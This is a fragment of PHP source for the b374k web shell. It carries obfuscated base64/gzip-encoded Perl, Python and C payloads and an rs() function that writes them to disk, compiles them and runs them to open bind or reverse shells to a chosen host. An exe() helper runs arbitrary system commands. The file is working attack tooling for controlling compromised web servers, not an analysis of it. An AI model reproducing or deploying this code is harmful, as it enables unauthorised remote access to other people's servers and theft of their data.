"dVJhS+QwEP0u+B9yFW6Ttex2BT/1erCcCiK3B+oXUSkxSe1gNylJVl0W//tNmha0KrRJ5r2XzMtMDkCLZiMV+eW8BDOrf+/vHbzDLOjHMbh1c79tlfsCd0Y8KT8itPKA/xz0iFDW6pgStCdrDppy+yhSHJ5ZBEOc7++JmlsynQYi30UmpKpkSrR6qSRK0OtGRJhLaUvQxKq18Qo5qGhl7BNlpChIxggeEbmZA11WfA3NlhRkeVaer06v8w9sa6xHrvZGO8q9geDx+XZxz9hHYcg6c93U6xt6vlqenFyWy9VNEEfLSMYy0T5fevXvz0V5dX15uvybZiz6/RHFjLRYJWNp0k13Ogn8A2hJ+wLQ0cXJlP2MrlKSvS668xpwXulhx3GAXmpoFF0wLEVXwYILoVo/aLJoRG7aI9rxn+LFKD4KsXpVoqHJHA3OXZ2kSRho7B7rThCNcSpuCeHb8IWWirrlzvXyB+7wBnGttFdWSda3HnAj9pNCkeUQHmmDlxs0ORwe4uPZdVXswVu4D52f3OkJUu9BxLJJ/qXWfqcNbiuCHfJWrFvaGR2ys/Ak/MZqkgXlfw=="; +$xmulti_py = "lVNda9swFH22wf9B9R4qk9T56PYS0CCMlJYlzWgyGHQjuLZSizqSkZS2+ffVvbKb0GSM5SHWx9E5514dfTrrbY3uPQjZ4/KZ1DtbKhmFYlMrbYkyXWJ28KfyJ267xIoNj8LZ+NdqOrllg/7wcxQurifTKYuR4yEzJbnI4yhc3swmq/nPJbvs96Pwx/xuyWK3fD1f+EHB18SUvKpovimSURQGplyprWXKpLWquaTI24lJ3AFEqnlWVEJyQxMHlg0aqIK10kQQIYnO5COnlTvstxMkbsEd5r/34o9b1dxutSTNnjeU5VYoSXMlJZ58KUXFyVJvOfJYvcNvUDtHDFDOVf5Mm36Ar4C/5ry2DUwLaWnMtVb6t4xxv9UFUsRXxpMHwInlBKcKAsnkYuALQnCHwZovxv3EmgADi0dFHjeoj2Igt8eZ4iPuKnNuWmDrC6nBAjj42m8XA2j//gbbVeyK4bKg0P8ozPTjM3MZSmHgguWpYJIwNgQyzAYs3A9cKWjwAHJ5DAkwRDgd4gnnlPBXYekgaaIGfYdBgoouUq6jTzQ5Y2gf7CC+7/Yh2sznO/Uf2szGV6ub28myTX+6mH/7vlos7ybjWXPOFWrhSbhSaRv45GSRiHYvpKD0vFJ5VpXK2PMuQZNJC6iEse4g2NJbyfy1+RC6OfCcaA7GEj2m0HyeW0qhQwfk/04lVJGaivOafknecwmqrHkUIAA778EA2QDfSjcrCp1gE9MsByX636qD06r4FI/qHo6Iz1m5tYV6kXR45Iw09+M6HseHbshfRD1+T/gG"; +$wmulti_c = "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"; +$favicon = "AQYD+fyJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAAB/z/2EAAAAEZ0FNQQAAr8g3BYrpAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAphJREFUOMudk8lPU1EUxvkbXAMdXlug2Kp0eu8ViiUIC2wZJJYqkwUqFiqUMjqgAQppUnAIiBKmFoq0thYKBI0GBGMw0ejGxIVLdyYmYDQ0xPD5HokopmXh4kvuyb3nd853ck8cgLhYylymkblIadlzxmNVUXpAuf3vmwOB9pma+DvWhElkhFRhy4Cer/YpaugZ+bdDASfZiktU8+84PaiKqP3Kr+YbOd6CXnqbHpPtltjUzpgAzQK5mTFPRvZaDpBb9KwClFcOyi1H53oT1j+H0O6qgK4mrSUqgPGpTX+khMZHbuYFTiH4YRxPPk5j4KUDklvJqFjOh//1ME70H8VxZyqkDjFTdZ7cYnzue2d87mZ6Kcy+u42epyZcDZegNVwJzTAJiTMFpmkDsgtEn/Y7YHzuMD5BP1R4NF7yy9lgAbxv+3FzqRz2YD7KprJg9BfC92YEQ6sDkHanQG0Uhg5YoKblG6RbBnJchsD7QXQulqIpoEeZWwvDjB731xywzxrwYKUXkk4xxB2i7ymtQuuBGZCjsojRVwTXcysa/TqUTmSh2HMa91a7YZ0qRNVYLgNwQtwmQrJdsJvUSEBUz/8zQNVQ2o/aoAl3VtpQNpmNMxN5cC22w+LRwzSaC8e8DQ2TFiTZBEiuJ46wOYSZe20fQN9V9KW5JOhaakPxuA6uhQ5Y3DpUjuSgZ84G6roSostM1TqiOuY/kPUdWyOauRh7MYiuUD0uMqCeuUZcmWmBsI4PQS0PRA03wjdxmqMCWEmvitekHWI0uGth99RBahPvJQrNvGomUcurSNzkliaAcy6eiApglWoXuZOs/J+CS0xFMxf8Ks6rWAsXd9g2suJf4GzwyhPBPZ9A/BeAFccYv5NoiN+KdvcLtyxxEwhxgvoAAAAASUVORK5CYII="; +$style = "tVbJbtswEL33KwgEBVrAMrS4biKfggL9gqLXghIpiwhFChQd2xHy7xUpyhwtdlIgFS+2PJzlvTczziQ5tyjD+dNeyYMg6V1onx0qpNBBw15oGkX1yX0vcMX4Of2FS1nh1W+qCBZ49agY5juUSy5VelcUxQ69orsKMzF2Hdlnh2pMCBP7NK5P6N74Dir5EmRSEaoChQk7NCmKQvPL4ssjI7pMozD8bAOVFHc2Laqw2jORhj5A91HTkw4wZ3uRclpocAFpcuWONymjFgAR2+jA0N8OjjR7YjrQCoumkKpKkZIaa/oliJJ18p3Q/VdX520TGBvhFoDqcPXvNj/uk8efrkRCc6mwZlKkQgpqLNfGEROFbAcYDQJpxyZqJGcEXTy4OrawPENO2J3IvnXedMbbCfzD+wbpjoOSsn2p03hjLj1TpVmOucO/YoTwPrM9PuMVWj8b2ibVWLiPvZtMcmLtreGHYcyp1h0aTY1zV2kvWCoOy4IdeEYGlK405K6szZWKofaC2maQtJfGhEHoP34wZ/c+Qpey/jBIljpws9CAm1HhaSktM7CmZGvOrdTezmzUD2sm6oN+6eRSK1nVuvtAnzHPJaHLbPUpw56OQSWZ1FpWsAuSB3PmE2/Wei6BdlmjPinYIK4hkphWoJjsoNtZvFEtD+bMlHERIuAGlhLbp0/nVHdXJ9lAmYbQzIyVq3NksDED8yqKQ+jLeOz7gDNBg1tTQct6HKT03ZQM3QQBF51SzLoZNdKs7m4aLakzujfHGja0yg7izFpEWFNzfHYF+/nue7ibDoo2B96x9o+7as7RwOVsZECo+qm7pG6nCIwxkIMFu2e0NpxPSDDSLWuzCpDGGb8iisj46LOGF0h7K4/cPt7J1lWze1spMEi5ssQvUbXYbMPFMm7hilfGatTJ38AwTkK308IJtLk5AAiLwWTebie4mMhXSxw4BvZ+bw+Qmb3G6LFgU0IAra5R34Pl4MsyBrf45ub0Gzxc6ZLBa95BSoX2ns3MuqirOmfy9B96I5ruU4uHF3sf2HKx8E/OW14nyj7e1dIfHNX8GZrfu45u7xTgt5BSmzE0lynwtr1MuV62SwqMwVLyvJeqXdwDu9dPfwE="; +// http://www.kryogenix.org/code/browser/sorttable/ - this makes the tables sortable +$sortable_js = "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"; + +// make link for folder $pwd and all of its parent folder +function swd($p){ + $ps = explode(DIRECTORY_SEPARATOR,$p); + $pu = ""; + for($i = 0 ; $i < sizeof($ps)-1 ; $i++){ + $pz = ""; + for($j = 0 ; $j <= $i ; $j++) $pz .= $ps[$j].DIRECTORY_SEPARATOR; + $pu .= "".$ps[$i]." ".DIRECTORY_SEPARATOR." "; + } + return trim($pu); +} +// remove
tags +function rp($t){ + return trim(str_replace("
","",$t)); +} +// replace spaces with underscore ( _ ) +function cs($t){ + return str_replace(" ","_",$t); +} +// strip slashes,trim and urldecode +function ss($t){ + if (!get_magic_quotes_gpc()) return trim(urldecode($t)); + return trim(urldecode(stripslashes($t))); +} +// only strip slashes +function ssc($t){ + if (!get_magic_quotes_gpc()) return $t; + return stripslashes($t); +} +// bind and reverse shell +function rs($s_win, $d, $type, $sc, $target){ + $result = ""; + + $fc = gzinflate(base64_decode($sc)); + + $errperm = "

error: permission denied. check current working directory permissions

"; + $errgcc = "

error: can not compile using gcc

"; + + if($type == "xbind_pl"){ + $fname = "b374k_bind.pl"; + $fpath = $d.$fname; + if(is_file($fpath)) unlink($fpath); + if($file=fopen($fpath,"w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath)){ + $res = exe("chmod +x ".$fpath); + $res = exe("perl ".$fpath." ".$target); + } + else $result = $errperm; + } + else $result = $errperm; + } + elseif($type == "xbind_py"){ + $fname = "b374k_bind.py"; + $fpath = $d.$fname; + if(is_file($fpath)) unlink($fpath); + if($file=fopen($fpath,"w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath)){ + $res = exe("chmod +x ".$fpath); + $res = exe("python ".$fpath." ".$target); + } + else $result = $errperm; + } + else $result = $errperm; + + } + elseif($type == "xbind_bin"){ + $fname = "b374k_bind"; + $fpath = $d.$fname; + + if(!$s_win){ + if(is_file($fpath)) unlink($fpath); + if(is_file($fpath.".c")) unlink($fpath.".c"); + if($file=fopen($fpath.".c","w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath.".c")){ + $res = exe("gcc ".$fpath.".c -o ".$fpath); + if(is_file($fpath)){ + $res = exe("chmod +x ".$fpath); + $res = exe($fpath." ".$target); + } + else $result = $errgcc; + } + else $result = $errperm; + + } + else $result = $errperm; + } + else{ + $fpath = $fpath . ".exe"; + if(is_file($fpath)) unlink($fpath); + if($file=fopen($fpath,"w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath)){ + $res = exe("\"".$fpath."\" ".$target); + } + else $result = $errperm; + } + else $result = $errperm; + } + + } + elseif($type == "xback_pl"){ + $fname = "b374k_back.pl"; + $fpath = $d.$fname; + $tar = explode(" ",$target,2); + if(is_file($fpath)) unlink($fpath); + if($file=fopen($fpath,"w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath)){ + $res = exe("chmod +x ".$fpath); + $res = exe("perl ".$fpath." ".$target); + } + else $result = $errperm; + } + else $result = $errperm; + } + elseif($type == "xback_py"){ + $fname = "b374k_back.py"; + $fpath = $d.$fname; + $tar = explode(" ",$target,2); + if(is_file($fpath)) unlink($fpath); + if($file=fopen($fpath,"w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath)){ + $res = exe("chmod +x ".$fpath); + $res = exe("python ".$fpath." ".$target); + } + else $result = $errperm; + } + else $result = $errperm; + + } + elseif($type == "xback_bin"){ + $fname = "b374k_back"; + $fpath = $d.$fname; + $tar = explode(" ",$target,2); + + if(!$s_win){ + if(is_file($fpath)) unlink($fpath); + if(is_file($fpath.".c")) unlink($fpath.".c"); + if($file=fopen($fpath.".c","w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath.".c")){ + $res = exe("gcc ".$fpath.".c -o ".$fpath); + if(is_file($fpath)){ + $res = exe("chmod +x ".$fpath); + $res = exe($fpath." ".$target); + } + else $result = $errgcc; + } + else $result = $errperm; + } + else $result = $errperm; + } + else{ + $fpath = $fpath . ".exe"; + if(is_file($fpath)) unlink($fpath); + if($file=fopen($fpath,"w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath)){ + $res = exe($fpath." ".$target); + } + else $result = $errperm; + } + else $result = $errperm; + } + } + + return $result; +} +// get file size +function gs($f){ + if($s = filesize($f)){ + if($s <= 1024) return $s; + else{ + if($s <= 1024*1024) { + $s = round($s / 1024,2);; + return $s." kb"; + } + else { + $s = round($s / 1024 / 1024,2); + return $s." mb"; + } + } + } + else return "???"; +} +// get file permissions +function gp($f){ + if($m=fileperms($f)){ + $p=''; + $p .= ($m & 00400) ? 'r' : '-'; + $p .= ($m & 00200) ? 'w' : '-'; + $p .= ($m & 00100) ? 'x' : '-'; + $p .= ($m & 00040) ? 'r' : '-'; + $p .= ($m & 00020) ? 'w' : '-'; + $p .= ($m & 00010) ? 'x' : '-'; + $p .= ($m & 00004) ? 'r' : '-'; + $p .= ($m & 00002) ? 'w' : '-'; + $p .= ($m & 00001) ? 'x' : '-'; + return $p; + } + else return "??????????"; +} +// shell command +function exe($c){ + if(function_exists('system')) { + ob_start(); + system($c); + $b = ob_get_contents(); + ob_end_clean(); + return $b; + } + elseif(function_exists('shell_exec')){ + $b = shell_exec($c); + return $b; + } + 